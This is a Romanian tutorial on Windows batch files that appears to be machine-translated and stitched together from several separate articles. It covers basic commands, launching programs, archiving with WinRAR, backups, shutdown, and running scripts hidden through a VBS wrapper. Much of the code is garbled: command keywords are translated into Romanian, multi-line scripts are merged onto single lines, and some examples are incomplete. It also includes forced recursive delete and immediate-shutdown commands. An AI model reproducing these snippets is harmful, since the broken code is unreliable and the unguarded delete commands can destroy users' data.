Comenzi de bază. comenzile fișierului bat
Fișierele bat Windows sunt o modalitate convenabilă de a efectua diverse sarcini pe un computer, care este utilizat în mod activ de experții în computer. Acestea vă permit să automatizați sarcinile de zi cu zi, să le reduceți timpul de finalizare și să transformați un proces complex în ceva fezabil pentru utilizatorul obișnuit. Acest articol prezintă caracteristicile de bază fișiere batchși recomandări pentru a le scrie singur.
Automatizare simplificată
Cum se creează un fișier bat? Pentru a face acest lucru, trebuie să faceți următoarele:
- În orice editor de text, de exemplu, Notepad sau WordPad, creați un document text.
- Scrieți-vă comenzile în el, începând cu @echo , apoi (de fiecare dată pe o linie nouă) titlu [numele scriptului lot], echo [mesaj care va fi afișat pe ecran] și pauză.
- Salvați textul într-un document electronic cu extensia .bat (de exemplu, test.bat).
- Pentru a rula, faceți dublu clic pe fișierul batch nou creat.
- Pentru a-l edita, trebuie să faceți clic pe el clic dreapta mouse-ul și selectați „Schimbare” din meniul contextual.
Fișierul brut va arăta cam așa:
title Acesta este primul tău script de fișier bat!
echo Bun venit la scenariu procesare în lot!
Vom discuta mai detaliat comenzile fișierelor bat și utilizarea lor mai jos.
Pasul 1: Creați un script software
Să presupunem că un utilizator are adesea probleme cu rețeaua. Folosește în mod constant linia de comandă, tastând ipconfig și ping Google pentru a depana problemele de rețea. După un timp, utilizatorul își dă seama că ar fi mult mai eficient dacă ar scrie un fișier bat simplu, l-ar scrie pe unitatea sa USB și l-ar rula pe computerele pe care le diagnostica.
Crearea unui nou document text
Un fișier batch facilitează efectuarea de sarcini repetitive pe computer folosind promptul de comandă Windows. Mai jos este un exemplu de script responsabil pentru afișarea unui text pe ecran. Înainte de a crea un fișier bat, ar trebui să faceți clic dreapta pe un spațiu gol din director și să selectați „Creare”, apoi „Document text”.
Adăugarea codului
Făcând dublu clic pe acest nou document text, se va deschide editorul de text implicit. Puteți copia și lipi exemplul de cod de mai sus într-o intrare de text.
Economisire
Scriptul de mai sus afișează pe ecran textul „Bine ați venit la Scriptul de procesare în lot!”. Document electronic trebuie înregistrate selectând elementul de meniu editor de text„Fișier”, „Salvare ca”, apoi specificați numele fișierului bat dorit. Ar trebui completat cu o extensie .bat (de exemplu, welcome.bat) și faceți clic pe OK. Pentru afișare corectă Chirilic, în unele cazuri, trebuie să vă asigurați că ați ales codificarea corectă. De exemplu, atunci când utilizați o consolă rusificată sisteme Windows Documentul NT trebuie salvat în CP866. Acum ar trebui să faceți dublu clic pe comanda rapidă a fișierului bat pentru a o activa.
Dar pe ecran va apărea următorul mesaj:
„Bine ați venit la scriptul batch! Apăsați orice tastă pentru a continua...”
Dacă fișierul bat nu pornește, utilizatorii recomandă să mergeți la registru și să ștergeți cheia:
„HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.BAT\UserChoice”.
Nu credeți că asta este tot ceea ce pot face scripturile batch. Parametrii scriptului sunt versiuni modificate ale comenzilor din linia de comandă, astfel încât utilizatorul este limitat doar de capacitățile lor. Și sunt destul de extinse.
Pasul 2: Faceți cunoștință cu unele comenzi
Dacă un utilizator de PC este familiarizat cu cum să execute comenzile consolei DOS, atunci va fi un maestru în crearea de scripturi software, deoarece acestea sunt în aceeași limbă. Liniile din fișierele bat vor spune interpretului cmd.exe tot ceea ce este necesar de la acesta. Acest lucru economisește timp și efort. În plus, este posibil să se specifice o anumită logică (de exemplu, bucle simple, condiționale etc., care sunt similare conceptual cu programarea procedurală).
Comenzi încorporate
1. @echo este o comandă de fișier bat care vă va permite să vedeți scriptul rulând pe linia de comandă. Este folosit pentru a vizualiza progresul codului de producție. Dacă fișierul batch are probleme, această comandă va izola rapid problemele. Adăugarea face posibilă oprirea rapidă a execuției codului, evitând afișarea informațiilor inutile pe ecran.
2. Titlul oferă aceeași funcționalitate ca o etichetă
3. Apelul apelează un fișier bat dintr-un altul sau o subrutină dintr-un script. De exemplu, funcția de putere calculează puterea %2 din %1:
dacă %counter% gtr 1 (
setați /a contor-=1
endlocal & set result=%prod%
4. Cls curata linie de comandă. Folosit pentru a se asigura că rezultatele anterioare ale codului străin nu interferează cu vizualizarea progresului scriptului curent.
5. Color setează fontul și culoarea de fundal. De exemplu, comanda culoare f9 specifică litere albe pe un fundal albastru. O comandă fără parametru restabilește setările implicite.
6. Echo este folosit pentru a afișa informații, precum și pentru a activa (echo activat) sau dezactiva (echo off) o astfel de ieșire. De exemplu, comanda echo. imprimă o nouă linie fără punct și ecou . - punct. Fără parametri, comanda afișează informații despre starea sa curentă - echo activat sau echo off.
7. Rem oferă aceeași funcționalitate ca o etichetă
8. Pauză vă permite să întrerupeți executarea comenzilor din fișierul bat. Acest lucru face posibilă citirea liniilor executate înainte de a continua programul. În acest caz, pe ecran este afișat mesajul „Pentru a continua, apăsați orice tastă...”.
9. Set vă permite să vizualizați sau să setați variabile de mediu. Cu comutatorul /p, comanda solicită utilizatorului introducerea și o salvează. Cu parametrul /a, vă permite să efectuați operații aritmetice simple, atribuind și rezultatul acestora unei variabile. Când efectuați operații cu șir, nu ar trebui să existe spații înainte sau după semnul egal. De exemplu, comanda set afișează o listă de variabile de mediu, set HOME afișează valorile argumentelor care încep cu „HOME” și set /p input=introduceți un număr întreg: solicită un număr întreg și îl atribuie variabilei corespunzătoare.
10. Porniți „” [site web] va lansa site-ul web specificat în browserul dvs. web implicit.
11. Dacă este folosit pentru a verifica o anumită condiție. Dacă este adevărat, atunci următoarea comandă este executată. Există 3 tipuri de condiții:
- ERRORLEVEL number - verifică codul de completare al ultimei instrucțiuni executate pentru a vedea dacă se potrivește sau depășește numărul specificat. În acest caz, 0 indică finalizarea cu succes a sarcinii, iar orice alt număr, de obicei pozitiv, indică o eroare. De exemplu, puteți utiliza comenzi imbricate pentru a identifica codul de ieșire: dacă a apărut eroarea de nivel 3, dacă nu de nivelul de eroare 4, a apărut eroarea #3.
- Line1 == line2 - se verifică dacă două șiruri de caractere se potrivesc. De exemplu, dacă nu există niciun parametru extern, comanda if "%1"= ="" goto ERROR va transfera controlul etichetei ERROR.
- EXIST name - verifică existența unui fișier cu numele specificat. De exemplu, dacă nu există A:\program.exe COPIEAZĂ C:\PROJECTS\program.exe A: copiează program.exe în unitatea A dacă nu este acolo.
12. Else trebuie să fie pe aceeași linie cu comanda If. Indică faptul că următoarea instrucțiune trebuie să fie executată dacă expresia este evaluată ca fals.
13. For este folosit pentru a repeta anumite acțiuni pe fiecare membru al unei liste. Are formatul pentru %%argument în comanda (listă) do. Argumentul poate fi orice literă de la A la Z. Lista este o secvență de șiruri separate prin spații sau virgule. Pot fi folosite și caractere joker. De exemplu:
- pentru %%d în (A, C, D) face DIR %%d - afișează secvențial directoarele unităților A, C și D;
- pentru %%f în (*.TXT *.BAT *.DOC) faceți TYPE %%f - imprimă conținutul tuturor fișierelor .txt-, .bat- și .doc-din directorul curent;
- pentru %%P în (%PATH%) dacă există %%P\*.BAT COPY %%P\*.BAT C:\BAT - copiează toate fișierele batch care există în toate directoarele rutei de căutare în C: \ folderul WAT.
14. Cu două puncte (:) înainte ca un cuvânt formează o legătură de la acesta, ceea ce vă permite să săriți peste o parte codul programului sau du-te înapoi. Folosit cu comenzile Call și Goto, indicând din ce punct execuția fișierului bat ar trebui să continue, de exemplu, când este îndeplinită o anumită condiție:
15. Variabile:
- %%a reprezintă fiecare fișier din folder;
- %CD% - directorul curent;
- %DATE% - data sistemului, al cărui format depinde de localizare;
- %TIME% - ora sistemului sub forma HH:MM:SS.mm.;
- %RANDOM% - număr pseudo-aleatoriu generat în intervalul de la 0 la 32767;
- %ERRORLEVEL% - codul de ieșire returnat de ultima comandă executată sau de scriptul bat.
Puteți extrage o parte dintr-un șir conținut într-o variabilă, având în vedere poziția și lungimea acesteia, astfel:
%[variabilă]:~[început],[lungime]%. De exemplu, puteți afișa o dată în formatul ZZ/LL/AAAA ca AAAA-LL-ZZ astfel: echo %DATE:~6,4%-%DATE:~3,2%-%DATE:~0,2%.
16. ("". \") - folder rădăcină. Când lucrați cu consola, înainte de a schimba numele fișierului, de a-l șterge etc., trebuie să direcționați acțiunea comenzii către un anume director. Când utilizați un fișier batch, rulați-l în orice director dorit.
17. %cifră - acceptă valorile parametrilor trecuți de utilizator în fișierul bat. Pot fi separate prin spații, virgule sau două puncte. O „cifră” este un număr între 0 și 9. De exemplu, %0 ia valoarea comenzii curente. %1 se potrivește cu primul parametru etc.
18. Shift - comandă folosită pentru a schimba parametrii de intrare cu o poziție. Folosit atunci când argumentele externe sunt transmise fișierului batch. De exemplu, următorul fișier bat copiază fișierele specificate ca parametri pe linia de comandă pentru unitatea D:
dacă nu (%1)==() mergi la următorul
În plus, puteți efectua următoarele manipulări cu argumentele:
- %~ - elimina ghilimelele din jur;
- %~f - extinde parametrul la numele complet al căii împreună cu numele unității;
- %~d - arată numele discului;
- %~p - afișează doar calea;
- %~n - selectați doar numele fișierului din parametru;
- %~x - lăsați doar extensia;
- %~s - convertiți calea într-o reprezentare cu nume scurte;
- %~a - extrage atributele fișierului;
- %~t - afișează data și ora creării;
- %~z - afișează dimensiunea fișierului;
- %~$PATH: - caută directoarele listate în variabila de mediu PATH și extinde parametrul la primul nume complet calificat găsit sau returnează un șir gol la eșec.
Wildcards
Multe comenzi acceptă modele de nume de fișiere - caractere care vă permit să potriviți un grup de nume de fișiere. Wildcardurile includ:
- * (asterisc) - denotă orice succesiune de caractere;
- ? (semnul de întrebare) - înlocuiește unul (sau 0) caracter, altul decât un punct (.).
De exemplu, comanda dir *.txt afișează o listă de fișiere txt, iar dir ???.txt afișează o listă documente text, a cărui lungime a numelui nu depășește 3 litere.
Funcții
La fel ca subrutinele, acestea sunt emulate folosind comenzile call, setlocal, endlocal și label. Următorul exemplu demonstrează posibilitatea definirii unei variabile în care rezultatul este stocat pe linia de apel:
call:sy result=world
Calcule
În fișierele bat, puteți efectua operații aritmetice simple pe numere întregi și biți de 32 de biți folosind comanda set /a. Numărul maxim acceptat este 2^31-1 = 2147483647, iar cel minim este -(2^31) = -2147483648. Sintaxa amintește de limbajul de programare C. Operatorii aritmetici includ: *, /, %, +, -. În fișierul bat, % (restul unei diviziuni întregi) trebuie introdus ca „%%”.
Operatorii de numere binari interpretează numărul ca o secvență de 32 de biți. Acestea includ: ~ (NU sau complement), & (ȘI), | (SAU), ^ (SAU exclusiv),<< (сдвиг влево), >> (schimba la dreapta). Operatorul logic de negație este! (semnul exclamării). Se schimbă de la 0 la 1 și o valoare diferită de zero la 0. Operatorul de combinație este (virgulă), care permite efectuarea mai multor operații într-o singură comandă setată. Operatorii de atribuire combinați += și -= în expresiile a+=b și a-=și corespund expresiilor a=a+b și a=a-b. *=, %=, /=, &=, |=, ^=, >>=, funcționează în același mod.<<=. Приоритет операторов следующий:
(); %+-*/; >>, <<; &; ^; |; =, %=, *=, /=, +=, -=, &=, ^=, |=, <<=, >>=; ,
Literale pot fi introduse ca numere zecimale, hexazecimale (cu 0x înainte) și octale (cu zero înainte). De exemplu, setați /a n1=0xffff atribuie lui n1 o valoare hexazecimală.
Comenzi externe
- Exit este folosit pentru a ieși din consola DOS sau (cu opțiunea /b) numai fișierul bat sau rutina curentă.
- Ipconfig este o comandă clasică de consolă care afișează informații despre rețea. Include adrese MAC și IP și măști de subrețea.
- Ping trimite ping la o adresă IP, trimițându-i pachete de date pentru a estima distanța și latența (răspuns). De asemenea, folosit pentru a seta o pauză. De exemplu, comanda ping 127.0.01 -n 6 întrerupe execuția codului timp de 5 secunde.
Biblioteca de comenzi din fișierele bat este imensă. Din fericire, există multe pagini pe web care le listează pe toate, împreună cu variabile de script în lot.
Pasul 3: Scrieți și rulați fișierul bat
Următorul script vă va ușura activitatea zilnică online. Ce se întâmplă dacă doriți să deschideți instantaneu toate site-urile de știri preferate? Deoarece scripturile folosesc comenzi din consolă, puteți crea un script care deschide fiecare flux de știri într-o singură fereastră de browser.
Apoi, ar trebui să repetați procesul de creare a unui fișier bat, începând cu un document text gol. Pentru a face acest lucru, trebuie să faceți clic dreapta pe un spațiu gol din orice folder și să selectați „Nou”, apoi „Document text”. După deschiderea fișierului, trebuie să introduceți următorul script, care lansează principalele medii în limba rusă disponibile pe Internet:
începe "" http://fb.ru
începe "" http://www.novayagazeta.ru
începe "" http://echo.msk.ru
începe "" http://www.kommersant.ru
începe "" http://www.ng.ru
începe "" http://meduza.io
începeți „” https://news.google.com/news/?ned=ru_ru&hl=ru
Acest script conține comenzile de pornire „”, care deschid mai multe file. Puteți înlocui linkurile sugerate cu oricare altele la alegere. După ce ați introdus scriptul, mergeți la meniul „Fișier” al editorului, apoi la „Salvare ca...” și scrieți documentul cu extensia .bat, schimbând parametrul „Tip fișier” în „Toate fișierele” (* . *).
După salvare, pentru a rula scriptul, faceți dublu clic pe el. Paginile web vor începe instantaneu să se încarce. Dacă doriți, puteți plasa acest fișier pe desktop. Acest lucru vă va permite să accesați instantaneu toate site-urile dvs. preferate.
Organizator
Dacă descărcați mai multe fișiere pe zi, în curând sute dintre ele se vor acumula în folderul „Descărcări”. Puteți crea un script care le va organiza după tip. Doar plasați fișierul .bat cu programul în folderul cu date neorganizate și faceți dublu clic pentru a rula:
rem Fiecare fișier din folder
pentru %%a în ("".\*") face (
rem verifica prezența unei extensii și neaparținerea acestui script
dacă "%%~xa" NEQ "" dacă "%%~dpxa" NEQ "%~dpx0" (
rem verificați prezența unui folder pentru fiecare extensie și, dacă nu este acolo, creați-l
dacă nu există „%%~xa” mkdir „%%~xa”
rem mutați fișierul în folder
mutați „%%a” „%%~dpa%%~xa\”
Ca rezultat, fișierele din directorul „Descărcări” sunt sortate în foldere ale căror nume corespund extensiei lor. Este atât de simplu. Acest script batch funcționează cu orice tip de date, fie el un document, video sau audio. Chiar dacă computerul nu le acceptă, scriptul va crea în continuare un folder cu eticheta corespunzătoare. Dacă există deja un director JPG sau PNG, programul va muta pur și simplu fișierele cu această extensie acolo.
Aceasta este o demonstrație simplă a ceea ce pot face scripturile batch. Ori de câte ori o sarcină simplă trebuie făcută din nou și din nou, fie că este vorba de organizarea fișierelor, deschiderea mai multor pagini web, redenumirea în bloc sau realizarea de copii ale documentelor importante, un script în lot vă poate ajuta să finalizați treaba obositoare în câteva clicuri.
Utilizarea unei interfețe grafice în sistemele de operare astăzi pare a fi ceva de la sine înțeles și complet natural, dar nu a fost întotdeauna cazul. Primul sistem de operare, MS DOS, dezvoltat de Microsoft, nu avea GUI și era controlat prin introducerea de comenzi text. Au trecut aproape 40 de ani de atunci, dar limbajul de scriptare în linia de comandă este încă popular și nu numai în rândul dezvoltatorilor.
Linia de comandă nu este atât de convenabilă, dar cu ajutorul ei puteți efectua operațiuni care nu sunt posibile din GUI. Pe de altă parte, lansarea consolei de fiecare dată, introducerea comenzilor în ea una după alta - toate acestea încetinesc foarte mult munca. Cu toate acestea, puteți simplifica în mod semnificativ sarcina creând un fișier bat sau pur și simplu un fișier batch - un fișier text cu extensia BAT care conține o listă de instrucțiuni procesate de interpretul de comandă CMD. Astfel de fișiere sunt folosite pentru a automatiza diverse sarcini, de exemplu, pentru a șterge fișiere temporare într-un program sau pentru a lansa programe.
Cum se creează un fișier cu extensia BAT
Deci, cum se creează un fișier bat în Windows 7/10? Foarte simplu. Pentru a face acest lucru, veți avea nevoie de orice editor de text și cunoștințe despre elementele de bază ale liniei de comandă. Puteți folosi Notepad, sau și mai bine, Notepad++, deoarece acesta din urmă are evidențiere de sintaxă. Creați în editor fișier nou, în meniul „Fișier”, selectați „Salvare ca”, dați un nume viitorului script, iar în lista derulantă „Tip de fișier”, selectați „Fișier lot (*bat; *cmd; *nt)”.
Dacă doriți să utilizați Notepad pentru a crea un fișier bat, trebuie să atribuiți manual extensia și să selectați „Toate fișierele” din lista „Tip de fișier”.
După cum puteți vedea, crearea unui fișier cu extensia bat nu este dificilă, cu toate acestea, există câteva subtilități; Întreruperile de linie nu pot fi utilizate în fișierele de comandă; codarea fișierului bat trebuie setată la UTF-8 dacă corpul scriptului folosește codul chirilic;
În loc de extensia BAT, puteți folosi CMD, rezultatul executării scriptului va fi exact același.
Comenzi de bază, sintaxă și exemple de utilizare a fișierelor batch
Știi cum să faci un fișier bat, acum este timpul pentru partea cea mai interesantă, și anume sintaxa limbajului de interpret CMD. Este clar că un fișier batch gol nu va funcționa, nici măcar nu se va lansa când dai dublu clic pe el. Pentru ca scriptul să funcționeze, cel puțin o comandă trebuie să fie scrisă în el. Pentru un exemplu vizual, să vedem cum să scrieți un fișier bat pentru a lansa programe. Să presupunem că atunci când începi să lucrezi, lansezi trei programe de fiecare dată - Chrome, Firefox și VLC. Să simplificăm sarcina prin crearea unui script care va lansa aceste programe în sine la intervale de cinci secunde.
Deschideți un fișier batch gol și inserați următoarele comenzi în el:
Porniți "" "C:/Program Files/Google/Chrome/Application/chrome.exe" timeout /t 05 start "" "C:/Program Files/Mozilla Firefox/firefox.exe" timeout /t 05 start "" "C :/Fișiere de program/VideoLAN/VLC/vlc.exe”
Echipă început lansează fișierul executabil al programului dorit și comanda timeout/t stabilește intervalul dintre porniri. Atenție la plasarea ghilimelelor - acestea conțin căi care conțin spații. De asemenea, dacă există caractere chirilice în cale, ar trebui să inserați o comandă care modifică codificarea la începutul scriptului chcp 1251, altfel interpretul nu va putea citi corect calea.
Când rulați scriptul, patru ferestre de consolă vor fi deschise secvențial, acesta este un fenomen normal după executarea comenzilor, toate se vor închide automat, totuși, puteți face astfel încât să se deschidă doar prima fereastră; Pentru a face acest lucru, codul de lansare a aplicației ar trebui modificat după cum urmează:
Start /b "" "cale"
De asemenea, se poate întâmpla ca la un moment dat să fie necesară întreruperea execuției scriptului, astfel încât utilizatorul să poată decide dacă execută sau nu toate celelalte comenzi. Există o comandă pentru asta pauză. Încercați să înlocuiți timeout cu el și vedeți ce se întâmplă.
Start /b "" "cale" pauză
Să ne uităm la un alt exemplu de comenzi pentru un fișier bat. Să scriem un script care va opri computerul într-un caz și îl va reporni în altul. În aceste scopuri vom folosi comanda închidere cu parametrii /s, /rŞi /t. Dacă doriți, puteți adăuga o solicitare de a efectua o acțiune în fișierul dvs. corporal, astfel:
@echo off chcp 1251 echo "Sunteți sigur că doriți să opriți computerul?" întrerupeți oprirea /s /t 0
Să explicăm. Prima comandă ascunde textul comenzilor în sine, a doua - setează codarea chirilică, a treia - afișează un mesaj pentru utilizator, a patra - setează o pauză, a cincea - se oprește și cu tasta /rîn loc de /s repornește computerul fără întârzierea tradițională de un minut. Dacă nu doriți să participați la ceremonie cu cereri și pauze, puteți lăsa doar a cincea comandă.
Dacă în loc de text rusesc când executați comanda vedeți kryakozyabra, încercați să convertiți fișierul script în ANSI.
Ce altceva poți face cu scripturile? O mulțime de lucruri, de exemplu, ștergerea, copierea sau mutarea fișierelor. Să presupunem că aveți un anumit folder de date în rădăcina unității D, al cărui conținut trebuie șters dintr-o singură lovitură. Deschideți fișierul batch și inserați următoarea comandă în el:
Del /A /F /Q "D:/data"
Sau poți face asta:
Forfiles /p "D:/data" /s /m *.* /c "cmd /c Del @path"
Spre deosebire de prima, a doua comandă șterge fișierele recursiv, adică toate fișierele din folderul de date vor fi șterse plus cele aflate în subdirectoare.
Iată un alt exemplu util. Să scriem un script care va crea o copie de rezervă a conținutului unui folder și va salva datele în altul. Comanda este responsabilă pentru copiere robocopie:
Robocopy C:/data D:/backup /e pauză
Prin rularea unui astfel de fișier batch pentru execuție, veți copia întregul conținut al folderului de date în folderul de rezervă, inclusiv subdirectoarele, goale și cu fișiere. Apropo, comanda robocopy are mulți parametri care vă permit să configurați parametrii de copiere foarte flexibil.
Rulați fișierele bat ca administrator și într-un program, lansare ascunsă a liliecilor
Acum știți cum să creați fișiere batch și aveți o înțelegere generală a limbajului de interpret CMD. Acestea au fost elementele de bază, acum este timpul să vă familiarizați cu câteva caracteristici utile de lucru cu fișierele bat. Se știe că programele necesită drepturi de administrator pentru a efectua unele acțiuni. Batnikii ar putea avea nevoie și de ele. Cel mai evident mod de a rula un script ca administrator este să faceți clic dreapta pe el și să selectați opțiunea corespunzătoare din meniul contextual.
În plus, vă puteți asigura că un anumit fișier batch va fi întotdeauna lansat cu privilegii ridicate. Pentru a face acest lucru, trebuie să creați o comandă rapidă obișnuită către un astfel de script, să deschideți proprietățile acestuia, să faceți clic pe butonul „Avansat” și să bifați caseta de selectare „Run ca administrator” în fereastra care se deschide. Această metodă este, de asemenea, bună, deoarece vă permite să selectați orice pictogramă pentru scurtătură, în timp ce un fișier cu o extensie BAT sau CMD va avea întotdeauna un aspect nedescriptiv.
Scripturile, ca toate aplicațiile, pot fi lansate într-un program. Echipă timeout/t nu este pe deplin adecvat aici pentru lansarea întârziată, cel mai bine este să utilizați Programul de activități Windows încorporat. Totul este simplu aici. Deschide cu comanda taskschd.msc Scheduler, decideți asupra declanșatorului, selectați acțiunea „Run program” și specificați calea către fișierul bat. Asta e tot, scriptul va fi lansat la ora programată.
Și în sfârșit, încă un punct interesant. Când rulați un fișier bat, pe ecran apare o fereastră de linie de comandă, chiar dacă doar pentru o fracțiune de secundă. Este posibil ca scriptul să ruleze în modul ascuns? Este posibil și în mai multe moduri. Cel mai simplu este după cum urmează. Creați o comandă rapidă pentru fișierul bat, deschideți proprietățile acestuia și selectați „Restrâns la pictogramă” din meniul „Fereastră”. După aceasta, singurul semn vizibil al rulării scriptului va fi apariția pictogramei CMD pe bara de activități, dar nu se va deschide nicio fereastră.
Dacă doriți să ascundeți complet execuția scriptului, puteți utiliza o „cârjă” - scriptul VBS, care va lansa fișierul batch în modul ascuns. Textul scriptului este mai jos, salvați-l într-un fișier ascuns.vbs, după ce a înlocuit anterior calea din a doua linie de cod D:/script.bat calea către fișierul corporal.
Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" & Chr(34), 0 Set WshShell = Nimic
Există și alte opțiuni, de exemplu, utilizarea utilitarului Început ascuns, care vă permite să rulați fișiere executabile și batch în modul ascuns, inclusiv fără invitație.
Și asta e tot deocamdată. Informații privind crearea scripturilor BAT pot fi găsite cu ușurință pe Internet. De asemenea, este o idee bună să consultați tutorialul pentru linia de comandă Microsoft Windows al lui William Stanek. În ciuda faptului că au trecut mai bine de zece ani de la publicarea cărții, informațiile conținute în ea sunt încă relevante.
În acest articol ne vom uita la un lucru atât de util ca „ fișier batch" Să definim mai întâi ce este un fișier bat. Fișierele batch sau batch sunt fișiere text simple care conțin seturi de comenzi ( instrucţiuni) interpret și având extensia bat sau cmd ( cmd funcționează numai în sistemele de operare din familia NT). Puteți crea și edita astfel de fișiere folosind un blocnotes obișnuit sau orice alt editor de text.
Acum vă puteți întreba, de ce trebuie să puteți scrie astfel de fișiere bat? Și de ce sunt necesare? Voi încerca să explic.
În primul rând, ele sunt folosite pentru a ușura munca, de exemplu. de exemplu, trebuie să efectuați în mod constant unele operații în fiecare zi ( de exemplu, creați o arhivă a anumitor documente), cu ajutorul unui fișier de corp, acesta poate fi automatizat și nu veți mai participa la el.
În al doilea rând, aceste fișiere batch sunt foarte puternice ( dacă, desigur, știi să le scrii), adică Puteți chiar să scrieți un program bun ( Adică din punct de vedere al funcționalității). Personal, mă ajută foarte mult în munca mea și pur și simplu am uitat de unele lucruri când le-am făcut manual.
Acum să trecem direct la elementele de bază ale acestor fișiere batch. Cum sunt create Trebuie doar să creați un document text simplu, să îl deschideți și să accesați imediat fila „ Fișier->salvare ca", introduceți în loc de extensie " Text document.txt", De exemplu " Document text.bat" și salvați, așa că obținem un fișier batch cu extensia .bat, dar încă nu face nimic.
Pentru început, voi da un exemplu de fișier batch pe care îl folosesc la locul meu de muncă pentru a arhiva documente.
„C:\Program Files\WinRAR\winrar.exe” a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.doc „C:\Program Files\WinRAR\winrar. exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY -mm-dd E:\arhaccounts\ d:\accounts\*.txt
Acum vă voi spune puțin despre ce face acest fișier batch. WinRar pornește, apoi urmează comenzile Winrar:
- a este de adăugat la arhivă;
- -r - procesează subfolderele;
- -dh - deschide fișierele partajate;
- -ed - nu adăugați foldere goale;
- AAAA-mm-zz - adăugați data curentă la numele arhivei ( formatul datei);
- E:\arhaccounts\ - calea unde va fi amplasată arhiva finală;
- d:\accounts\*.doc — calea și masca fișierelor care trebuie arhivate.
În acest caz, arhivăm toate fișierele Word, Excel și text, nu avem nevoie să arhivăm restul; Arhivarea noastră merge pe un alt disc și copiam și arhiva rezultată pe alt computer, astfel încât arhivele să fie stocate într-un alt birou. Copierea are loc prin rețea, astfel încât computerul pe care este copiată arhiva trebuie să fie pornit. Pentru a face acest lucru, puteți folosi următoarea comandă:
Copiați E:\arhaccounts\*.rar \\namecomp\arhiv\
Exemple de comenzi pentru fișierele bat
Acum să ne uităm la comenzile de bază pe care le puteți utiliza.
Dacă trebuie să ștergeți un fișier, scrieți următoarele:
Del d:\file\test.doc
Pentru a șterge întregul director, scrieți:
Rd d:\fișier\
Dacă trebuie să ștergeți totul dintr-un director de fiecare dată, atunci utilizați asta:
Eco Y| del d:\file\
- del d:\file\ - aceasta este tocmai ștergerea tuturor fișierelor;
- ecou Y| — comanda confirmă ștergerea deoarece Dacă nu introduceți această comandă, veți vedea un mesaj care confirmă ștergerea - „Continuați”, și va trebui să răspundeți la această întrebare de fiecare dată.
Acum să ne uităm la un exemplu mai complicat, în care condiția este deja îndeplinită:
@echo off „C:\Program Files\WinRAR\winrar.exe” x -O+ -IBCK d:\test\test.rar d:\test IF NOT EXIST d:\test\123.rar GOTO 1 IF EXIST d: \test\123.rar GOTO 2:2 "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\123.rar c:\ del d:\test\123.rar:1 del d:\test\test.rar end
Acum vă voi explica, să presupunem că trebuie să dezarhivați arhiva test.rar, care va conține multe fișiere, dar dacă există un fișier 123.rar acolo, va trebui să fie dezarhivat la rădăcina unității C și restul fișierelor vor rămâne neatins în același director.
În ordine, este necesară comanda @echo off, astfel încât nimic să nu se reflecte pe ecran ( practic, dacă nu aveți nevoie, puteți omite să scrieți această linie). Apoi, lansăm Winrar și despachetăm arhiva test.rar în folderul de testare. Apoi apare condiția dacă în folderul de testare ( după testul de despachetare.rar) nu avem fișierul 123.rar, apoi pur și simplu executăm fișierul batch și mergem la linia: 1 și apoi pur și simplu ștergem fișierul test.rar deoarece nu este necesar deoarece Am despachetat deja tot ce avem nevoie. Dar dacă există un fișier 123.rar acolo, atunci execuția fișierului batch merge la linia: 2, după care fișierul 123.rar este deja despachetat la rădăcina unității C. Cu alte cuvinte, avem condiția îndeplinită , dacă există un fișier, atunci faceți acest lucru, dacă nu există niciun fișier, faceți acest lucru. Să presupunem că dacă nu specificăm condiția în acest exemplu, atunci fișierul nostru batch va da o eroare atunci când nu avem fișierul 123.rar în acest folder.
Acum să ne uităm la acest exemplu, să presupunem că trebuie să mutați fișierele dintr-un director situat pe unitatea D pe o unitate flash de fiecare dată. De fiecare dată când va trebui să accesați unitatea D de pe computer, să selectați folderul dorit, să selectați toate fișierele din acesta și să-l tăiați, apoi să mergeți la unitatea flash și să-l lipiți. Cu ajutorul unui fișier de corp, acest lucru se face cu un singur clic ( cu o condiție ca de fiecare dată unitatea flash să fie, de exemplu, unitatea G sau orice ai). Iată un exemplu de astfel de fișier batch:
Mutați „D:\catalog\*.doc” G:\catalognaflehe\
Și toate fișierele cu extensia doc care se află în directorul D:\catalog vor fi mutate pe unitatea flash. Acum vreau să spun că puteți folosi scripturi în fișiere batch ( scenarii) folosind Windows Scripting Host și, dacă este necesar, de exemplu, pentru a afișa un mesaj după ce fișierele au fost copiate ( exemplul anterior) lipiți asta:
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js echo WSHShell.Popup(„Fișiere copiate”); >> %temp%\mes.js start %temp%\mes.js deltree /y %temp%\mes.js
De fapt, se poate vorbi mult despre scrierea fișierelor corporale și, bineînțeles, acest lucru nu poate fi încadrat într-un singur articol aici am arătat doar principiile care se folosesc la scriere; fișierele bat, ca să spunem așa, baza. Dacă doriți să aflați mai multe comenzi pentru scrierea fișierelor batch, le puteți vizualiza cu ușurință tastând ( Start - Run - cmd) comanda help, dar, desigur, nu există toate comenzile care pot fi folosite în fișierele batch. Succes la scrierea fișierelor BAT ( cămăși de corp).
Pentru a deschide linia de comandă în locația dorită (într-un folder cu fișiere, de exemplu), trebuie să apelați meniul contextual(RMB) cu tasta Shift apăsată:
Aflați cum să lucrați cu linia de comandă. Să trecem la comenzi.
O listă a tuturor comenzilor din consolă cu descrieri poate fi obținută tastând ajutor în consolă
Ajutorul pentru orice comandă poate fi obținut folosind tasta /?.
De exemplu: DIR /?
va afișa ajutor pentru toate opțiunile de comandă DIR
Ștergeți fișierele temporare înainte de a opri computerul
Cred că toată lumea le-a experimentat cel puțin personal. Fișierul bat vă va ajuta să închideți corect computerul prin ștergerea fișierelor temporare, folderul în care este de obicei descărcat virusul. Data viitoare când dispozitivul pornește (într-un stadiu incipient), virusul face intrări în registru, perturbând munca normala
sisteme. Și când desktop-ul se încarcă, situația este mai greu de corectat.
Desigur, nu toți virușii funcționează conform acestei scheme, dar, cu toate acestea, ștergerea fișierelor temporare și a cache-ului sistemului înainte de a-l închide reduce semnificativ astfel de riscuri.porniți / așteptați "" "C:\Program Files\CCleaner\CCleaner64.exe" /porniți automat / așteptați "" "C:\WINDOWS\System32\shutdown.exe" /s /t 10
CCleaner nu este disponibil implicit pe Windows. Trebuie instalat separat. Puteți descărca programul de instalare de pe site-ul web al dezvoltatorului.
